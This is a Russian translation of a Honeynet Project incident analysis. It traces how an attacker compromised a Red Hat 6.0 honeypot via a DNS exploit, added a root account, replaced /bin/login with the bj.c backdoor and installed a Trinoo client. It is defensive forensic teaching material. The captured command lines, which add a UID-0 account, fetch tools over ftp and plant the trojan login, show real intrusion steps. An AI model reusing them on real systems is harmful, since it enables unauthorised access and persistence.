|
Проект Honeynet, перевод В.В.Мяснянкина Опубликовано: dl, 28.01.02 14:52 Изучение атаки
©
Проект Honeynet
Данный документ продолжает серию "Узнай своего врага". Первые три документа охватывали средства и тактику, используемые сообществом черных шляп. Этот документ, четвертый по счету, показывает шаг за шагом, каким образом осуществлена одна из успешных атак. Однако, вместо того, чтобы углубляться в изучение инструментальных средств и тактики, мы остановимся подробнее на том, каким образом мы можем установить, как все происходило, создав целостную картину из кусочков информации. Цель состоит в том, чтобы приобрести необходимые навыки расследования инцидентов и анализа угроз, с которыми реально можете столкнуться Вы или Ваша организация. Существует также онлайновая, интерактивная версия этого документа, опубликованная MSNBC. Подготовка.Обсуждаемая здесь информация получена с использованием honeynet. В качестве honeypot был использован сервер со стандартной инсталляцией Red Hat 6.0. Никаких дополнительных модификаций не производилось, поэтому обсуждаемые здесь уязвимости будут присутствовать в любой установке RH 6.0, выполненной по умолчанию. Приведенные здесь данные не подвергались никакой "подчистке". Все IP-адреса, учетные записи пользователей и нажатия клавишей, упоминаемые здесь, реальны. Это сделано как для обеспечения правдоподобности данных, так и для лучшего понимания процесса расследования. Изменены только пароли - чтобы не подвергать риску скомпрометированные системы. Вся перехваченная сниффером информация представлена в формате snort. Я остановил свой выбор на snort в качестве сниффера и системы обнаружения атак из-за его гибкости, набора функциональных возможностей и ценового показателя (он распространяется свободно). Все действия, производимые черными шляпами, были зафиксированы при помощи snort. Я использовал сигнатуры атак из базы данных arachNIDs, поддерживаемой Max Vision (www.whitehats.com). Более полную информацию об обсуждаемых в данной статье уязвимостях Вы можете получить, обратившись к указанной базе данных. Мой файл конфигурации для snort и файлы сигнатур (с параметрами командной строки, которые я использовал), можно найти здесь. После прочтения этого документа, Вы можете попробовать провести такой же анализ самостоятельно, поскольку я предоставляю Вам доступ ко всем необработанным данным. Читая данный документ, обратите внимание, сколько различных систем использовано черной шляпой. Также, на протяжении всего документа я называю черную шляпу "она", хотя мы не имеем каких-либо предположений относительно пола нарушителя. Атака.
26 апреля, в 06:43 snort предупредил меня, что против одной из моих систем
предпринята попытка атаки "noop". В пакетах не было никакой полезной
информации, что указывало на попытку организации переполнения буфера. В данной
ситуации snort обнаружил атаку и сделал предупреждающую запись в файле
/var/log/messages (который постоянно контролировался при помощи
swatch).
Примечание: далее в этом документе IP-адрес 172.16.1.107 является адресом
honeypot. Все другие системы - IP-адреса, использованные черной шляпой.
Apr 26 06:43:05 lisa snort[6283]: IDS181/nops-x86: 63.226.81.13:1351 - 172.16.1.107:53
Мои приманки (honeypots) подвергаются изучению, сканированию и посылке запросов
ежедневно. Однако, подобные предупреждения сразу же привлекают мое
внимание, поскольку указывают, что система, возможно, была
скомпрометирована. И действительно, менее чем через две минуты содержимое
системных журналов говорило о компрометации, так как атакующий инициировал
соединение и вошел в систему.
Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user twin by (uid=0) Наш нарушитель получил доступ с правами суперпользователя и теперь контролировал систему. Как это ему удалось, что именно произошло? Вот теперь мы и начинаем наше следствие, в ходе которого "прокрутим" всю пьесу, шаг за шагом. Анализ.При изучении атаки, лучшее всего начать с того же места, что и черная шляпа. А черные шляпы обычно начинают со сбора информации, они должны знать, какие существуют уязвимости, перед тем, как нанести удар. Если Ваша система скомпрометирована, значит, это уже не первое общение черной шляпы с ней. При осуществлении большинства атак используется предварительно собранная информация. Итак, начнем, как и черные шляпы, со стадии сбора информации.
Если мы посмотрим на приведенное выше сообщение snort, то заметим, что
атака направлена на порт 53. Это говорит о том, что против нашей системы
предпринята атака на DNS. Поэтому представляется логичным просмотреть
сообщения
snort и попытаться найти признаки изучения DNS. Мы находим
информацию о запросе версии DNS, полученном от той же самой системы, которая
нас атаковала.
Apr 25 02:08:07 lisa snort[5875]: IDS277/DNS-version-query: 63.226.81.13:4499 - 172.16.1.107:53 Обратите внимание на дату запроса - 25 апреля. Наша система была атакована 26 апреля, из того же источника. Т.е. компрометация произошла через сутки после изучения. Я предполагаю, что наша черная шляпа применила специализированный сканер, который автоматически сканировал большое количество адресов с целью поиска известной уязвимости DNS. После того, как сканирование было закончено, черная шляпа просмотрела результаты, идентифицировала уязвимые системы (включая нашу) и затем запустила эксплоит. Вот мы и сыграли вместе первый акт нашей драмы. Наша черная шляпа сканировала нас 25 апреля и воспользовалась уязвимостью системы на следующий день. Судя по записям системы обнаружения атак, нас атаковал script kiddie, использовав известную уязвимость DNS. Но каким образом атака была выполнена, как это работает? Давайте попробуем разобраться. Эксплоит.
Как и большинство коммерческих систем обнаружения вторжений snort может
показать нам данные, содержащиеся во всех IP-пакетах. Мы воспользуемся этой
возможностью, чтобы провести анализ эксплоита. Информация об эксплоите была
получена из регистрационных журналов, хранящихся в бинарном формате tcpdump. Я
взял регистрационный журнал snort и стал просматривать пакеты, поступавшие
в начале атаки. Я не стал ограничиваться адресом 63.236.81.13,
поскольку нападавший мог использовать и другие адреса. Так и оказалось - наша
черная шляпа использовала для запуска эксплоита как минимум три различных
системы. Цель эксплоита - получить доступ к командной строке (shell) с правами
пользователя root. Как только черная шляпа получит такой доступ, она
сможет выполнять любую команду с правами администратора. Обычно для этого в файлы
/etc/passwd и /etc/shadow помещается дополнительная учетная запись. Вы можете
найти как сам эксплоит, так и выполненные им команды в
файле с детальным анализом.
Так как запуск эксплоита прошел успешно, административные права получены, то
последующие команды также выполнялись с привилегиями root.
cd /; uname -a; pwd; id;
echo "hantu::0:0::/:/bin/bash" /etc/passwd
Наша черная шляпа выполнила несколько команд с правами администратора.
Сначала она проверила, в какой системе находится (uname -a), в каком каталоге (pwd), и, затем свой uid (id). После этого она завела в
системе двух новых пользователей - twin и hantu, обоих с
одним и тем же паролем. Заметьте, что twin имеет UID 506, а hantu
имеет UID 0 (кстати, в Индонезии hantu означает "призрак").
Большинство систем не позволяет непосредственный вход по протоколу
telnet пользователю с UID 0. Поэтому черная шляпа была вынуждена завести
одну учетную запись для осуществления удаленного доступа и вторую для получения
привилегий администратора (UID 0).
Итак, наша черная шляпа выполнила эксплоит, получила доступ к командной оболочке с
правами root и зарегистрировала две новых учетных записи. Всего через 90 секунд
после запуска эксплоита она уже вошла по протоколу telnet в нашу систему и получила
административный контроль над ней (см. фрагменты журналов регистрации ниже).
Итак, что же она будет делать дальше?
Apr 26 06:43:05 lisa snort[6283]:IDS181/nops-x86: 63.226.81.13:1351 - 172.16.1.107:53 Получение доступа.
К нашему счастью, telnet является простым текстовым протоколом, передаваемые
при помощи него данные не шифруются. Это означает, что мы можем декодировать
все записи сниффера и увидеть все вводимые черной шляпой команды.
Snort уже выполнил эту работу за нас (это другая причина, по которой
я его выбрал). Анализируя введенные во время telnet-сессии команды,
мы можем точно определить, чем занималась наша черная шляпа. Я нахожу особенно
приятным, что при этом записывается не только поток STDIN (нажатия клавишей),
но также и потоки STDOUT и STDERR (вывод программ и сообщения об ошибках).
Давайте изучим записанную telnet-сессию и идентифицируем действия черной
шляпы (комментарии выделены КРАСНЫМ).
Сначала черная шляпа вошла в систему по протоколу telnet (с адреса
213.28.22.189) как twin, затем получила права суперпользователя
как hantu. Помните, она не могла сразу войти в систему как
hantu, поскольку удаленный доступ с UID 0 запрещен.
#' !"'!"# ' 9600,9600'VT5444VT5444
Затем, она соединилась по протоколу ftp с другим компьютером, чтобы
загрузить оттуда необходимые ей программы.
[root@apollo /]# ftp 24.112.167.35
На третьем шаге, она берет программу, необходимую для установки черного входа (bj.c),
компилирует ее и помещает вместо стандартного /sbin/login. Обратите
внимание, что все команды помещены в одну строку с вызовом компилятора. Похоже,
что они выполнялись путем копирования текста из какого-то описания через буфер обмена.
[root@apollo /]# gcc -o login bj.cchown root:bin loginchmod 4555 loginchmod u-w logincp /bin/login /usr/bin/xstatcp /bin/login /usr/bin/old rm /bin/loginchmod 555 /usr/bin/xstatchgrp bin /usr/bin/xstatmv login /bin/loginrm bj.cgcc -o login bj.c
Теперь она пытается сделать необходимые настройки для вновь установленной
программы.
[root@apollo /]# chown root:bin login
Черт! У нее не получается, она пытается снова. Для этого она повторно
загружает исходный текст программы по ftp.
[root@apollo /]# ftp 24.112.167.35
Это уже вторая ее попытка установки. Обратите, что команды снова
выполняются (точнее, вставляются) методом "cut and paste".
[root@apollo /]# gcc -o login bj.cchown root:bin loginchmod 4555 loginchmod u-w logincp /bin/login /usr/bin/xstatcp /bin/login /usr/bin/old rm /bin/loginchmod 555 /usr/bin/xstatchgrp bin /usr/bin/xstatmv login /bin/login rm bj.cgcc -o login bj.c
Теперь мы видим, что компиляция черного входа прошла успешно. Настоящий
/bin/login переименовывается в /usr/bin/xstat, в то время как откомпилированный
троянский
bj.c используется для замены /bin/login. Это и есть черный вход. Данная
троянская программа позволяет любому войти в систему без авторизации, если установлен тип
терминала vt9111.
[root@apollo /]# chown root:bin login
Теперь она пытается замести следы. Я снова делаю вывод, что эти команды вставляются
из какого-то текста через буфер обмена. Обратите внимание на количество команд,
записываемых в одной строке. Судя по попыткам стереть несуществующие файлы
(типа /tmp/h), можно предположить, что используется один из "универсальных"
сценариев для затирания следов.
[root@apollo /]# rm bj.c
Мне нравится логика ее действий. Универсальный сценарий выдал серию ошибок,
сигнализирующих о невозможности удалить несуществующие файлы. Я думаю, что
нашу черную шляпу это сильно обеспокоило, и она попыталась вручную удалить
эти файлы, несмотря на то, что они не существуют.
rm: cannot remove `/tmp/h': No such file or directory
Вот и все, наша черная шляпа оставила для себя лазейку,
bj.c.
Эта лазейка позволяет входить в систему без авторизации
пользователям с определенным типом терминала, в данном случае - VT9111.
Закончив свое черное дело, она выходит из системы.
После выхода из системы, черная шляпа еще несколько раз подключалась к ней и вносила изменения. Если Вы хотите узнать о ее действиях подробнее, Вы можете самостоятельно проанализировать необработанные регистрационные данные. Trinoo. Возвращение.
После того, как система была скомпрометирована, я отключил ее от Интернет и
провел ее полную ревизию (как это делает Tripwire). Однако в течение следующей недели я
заметил многочисленные попытки войти в нее по протоколу telnet с разных адресов.
Очевидно, черная шляпа, очень хотела попасть обратно, чтобы использовать
скомпрометированную систему для более серьезных действий. Я решил вернуть
скомпрометированную систему обратно, чтобы посмотреть, чем же будет заниматься
черная шляпа, когда вернется. Ожидания оправдались, она появилась двумя
неделями позже. И снова мы записывали все вводимые ей команды при помощи snort.
Проанализируем приведенную ниже telnet-сессию и посмотрим на попытку использования
нашей системы в качестве
клиента Trinoo
9 мая в 10:45 наша черная шляпа вошла по протоколу telnet с адреса 24.7.85.192.
Обратите внимание, что она использует тип терминала VT9111, чтобы воспользоваться
черным входом и войти в систему, минуя аутентификацию.
!"' #'!"# ' 9600,9600'VT9111VT9111 Red Hat Linux release 6.0 (Shedwig) Kernel 2.2.5-15 on an i586 [root@apollo /]# ls bin cdrom etc home lost+found proc sbin usr boot dev floppy lib mnt root tmp var Оказавшись в системе, она пытается воспользоваться DNS. Однако, DNS все еще неработоспособна. Вспомните, для получения доступа к системе с правами root была использована уязвимость DNS, поэтому преобразование доменных имен больше не работает.
[root@apollo /]# nslookup magix Черная шляпа заходит по протоколу ftp на сервер в Сингапуре и загружает с него новый набор программ. Обратите внимание, что она создает скрытый каталог .s для его хранения.
[root@apollo /]# mkdir .s При этом она получает доступ с тем же самым именем пользователя, которое добавлено в нашу систему.
Name (137.132.216.35:root): twin Наша черная шляпа только что установила и запустила клиента Trinoo. Затем она пытается зайти в другую скомпрометированную систему. Обратите внимание, как она меняет значение переменной VT TERM. Эта система, скорее всего, также имеет черный вход. Однако, подключение не удается, т.к. DNS не работает.
[root@apollo daemon]# TERM=vt1711 Она уходит, чтобы вернуться позже с другого адреса (137.132.216.35) и продолжить свои попытки.
!"' #'!"# ' 9600,9600'VT9111VT9111 После этого было еще несколько попыток использовать систему в качестве клиента Trinoo для атаки на другие системы. С этого момента я счел за лучшее отключить систему от Интернет. Черная шляпа намеревалась использовать скомпрометированную систему в деструктивных целях, что подтверждают записи регистрационных журналов.
May 9 11:03:20 lisa snort[2370]: IDS/197/trin00-master-to-daemon: 137.132.17.202:2984 - 172.16.1.107:27444 Резюме.Мы только что восстановили по шагам, каким образом honeypot был скомпрометирован, снабжен черным входом и почти использован для осуществления атаки Trinoo. 25 апреля черная шляпа просканировала honeypot, для определения установленной на нем версии DNS. На следующий день, 26 апреля, она выполнила эксплоит под названием NXT, чтобы получить доступ к командной оболочке с правами пользователя root (см. NXT-HOWTO с описанием использования эксплоита). После получения прав администратора она создала в системе две учетные записи - twin и hantu. Сразу после этого, она вошла в систему по протоколу telnet загрузила и установила черный вход bj.c. Далее, она выполнила заметающий следы скрипт и покинула систему. В течение следующей недели она предприняла серию попыток вновь войти в систему, однако последняя была недоступна. Наконец, 9 мая она получила доступ, установила и запустила клиентскую часть Trinoo. С этого момента honeypot был отключен от Интернет окончательно. Большая часть расследования проводилась с использованием системных журналов скомпрометированной системы и регистрационных журналов snort. Несколько человек предоставили дополнительный анализ этой атаки. ЗаключениеМы только что восстановили по шагам, каким образом honeypot был скомпрометирован. Цель состояла в том, чтобы определить, каким образом система была скомпрометирована, используя анализ системных журналов honeypot и системы обнаружения атак. На примере анализа данной атаки, Вы должны улучшить свое понимание, чего можно ожидать и что в первую очередь необходимо проанализировать при атаке на систему. Если Вы хотите подробнее узнать об использованных для получения этой информации средствах, ознакомьтесь с документом Honeynets Я хотел бы поблагодарить Marty Roesch и Max Vision за содействие. Все, что я узнал и изложил в этом документе, было бы невозможно без их кропотливого труда. Все файлы регистрации и информация были отправлены в адрес CERT до публикации этого документа. Кроме того, были предприняты попытки установить контакт с администраторами всех систем, имевших отношение к данной атаке.
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
|
|
|